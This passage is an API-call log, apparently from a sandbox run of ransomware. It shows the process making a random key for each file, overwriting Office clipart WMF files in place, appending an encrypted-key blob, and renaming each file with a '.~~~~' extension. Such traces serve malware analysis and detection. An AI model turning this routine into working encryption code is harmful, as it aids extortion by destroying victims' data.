	[0106.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.367] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0106.367] GetLastError () returned 0x0
	[0106.368] GetLastError () returned 0x0
	[0106.368] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0106.368] GetLastError () returned 0x0
	[0106.368] GetLastError () returned 0x0
	[0106.383] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc362, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.383] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x3c9e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x3c9e, lpOverlapped=0x0) returned 1
	[0106.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0106.383] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.384] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.384] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.384] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.384] CloseHandle (hObject=0x128) returned 1
	[0106.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.384] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf.~~~~")) returned 1
	[0106.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.526] GetLastError () returned 0x0
	[0106.546] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0106.547] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.547] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.547] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22653756990) returned 1
	[0106.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa92ed210, dwHighDateTime=0x1d60e1e)) 
	[0106.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28bfa70
	[0106.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28bfa70 | out: hHeap=0x300000) returned 1
	[0106.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2350
	[0106.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873990
	[0106.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2350 | out: hHeap=0x300000) returned 1
	[0106.548] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0106.548] GetLastError () returned 0x0
	[0106.549] GetLastError () returned 0x0
	[0106.549] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0106.549] GetLastError () returned 0x0
	[0106.549] GetLastError () returned 0x0
	[0106.555] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffde60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.555] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x21a0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x21a0, lpOverlapped=0x0) returned 1
	[0106.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0106.556] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.557] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.557] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.557] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.557] CloseHandle (hObject=0x128) returned 1
	[0106.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2350
	[0106.557] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf.~~~~")) returned 1
	[0106.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2350 | out: hHeap=0x300000) returned 1
	[0106.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.559] GetLastError () returned 0x0
	[0106.559] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0106.561] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.561] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.561] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22655103980) returned 1
	[0106.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9313370, dwHighDateTime=0x1d60e1e)) 
	[0106.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a61d0
	[0106.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a61d0 | out: hHeap=0x300000) returned 1
	[0106.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2350
	[0106.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873a28
	[0106.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2350 | out: hHeap=0x300000) returned 1
	[0106.562] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0106.562] GetLastError () returned 0x0
	[0106.562] GetLastError () returned 0x0
	[0106.562] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0106.563] GetLastError () returned 0x0
	[0106.563] GetLastError () returned 0x0
	[0106.569] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff6ce6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.569] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x931a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x931a, lpOverlapped=0x0) returned 1
	[0106.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0106.571] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.571] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.571] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.571] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.571] CloseHandle (hObject=0x128) returned 1
	[0106.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2350
	[0106.571] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf.~~~~")) returned 1
	[0106.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2350 | out: hHeap=0x300000) returned 1
	[0106.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.573] GetLastError () returned 0x0
	[0106.573] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0106.574] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.574] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.574] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22656441487) returned 1
	[0106.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa93394d0, dwHighDateTime=0x1d60e1e)) 
	[0106.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6208
	[0106.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6208 | out: hHeap=0x300000) returned 1
	[0106.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2350
	[0106.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873b58
	[0106.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2350 | out: hHeap=0x300000) returned 1
	[0106.575] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0106.575] GetLastError () returned 0x0
	[0106.575] GetLastError () returned 0x0
	[0106.576] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0106.576] GetLastError () returned 0x0
	[0106.576] GetLastError () returned 0x0
	[0106.714] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff7f28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.715] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x80d8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x80d8, lpOverlapped=0x0) returned 1
	[0106.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0106.716] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.716] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.716] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.717] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.717] CloseHandle (hObject=0x128) returned 1
	[0106.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.717] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf.~~~~")) returned 1
	[0106.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.718] GetLastError () returned 0x0
	[0106.762] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2941fe8) returned 1
	[0106.764] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.764] CryptReleaseContext (hProv=0x2941fe8, dwFlags=0x0) returned 1
	[0106.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.764] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22675427449) returned 1
	[0106.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9502550, dwHighDateTime=0x1d60e1e)) 
	[0106.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28c1248
	[0106.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28c1248 | out: hHeap=0x300000) returned 1
	[0106.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874148
	[0106.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.765] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0106.765] GetLastError () returned 0x0
	[0106.765] GetLastError () returned 0x0
	[0106.765] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0106.766] GetLastError () returned 0x0
	[0106.766] GetLastError () returned 0x0
	[0106.845] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffdf1c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.845] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x20e4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x20e4, lpOverlapped=0x0) returned 1
	[0106.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0106.847] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.847] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.847] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.847] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.847] CloseHandle (hObject=0x140) returned 1
	[0106.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.848] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf.~~~~")) returned 1
	[0106.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.849] GetLastError () returned 0x0
	[0107.102] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0107.135] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.135] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.135] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22712518901) returned 1
	[0107.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9894650, dwHighDateTime=0x1d60e1e)) 
	[0107.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286e128
	[0107.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0107.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286e128 | out: hHeap=0x300000) returned 1
	[0107.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
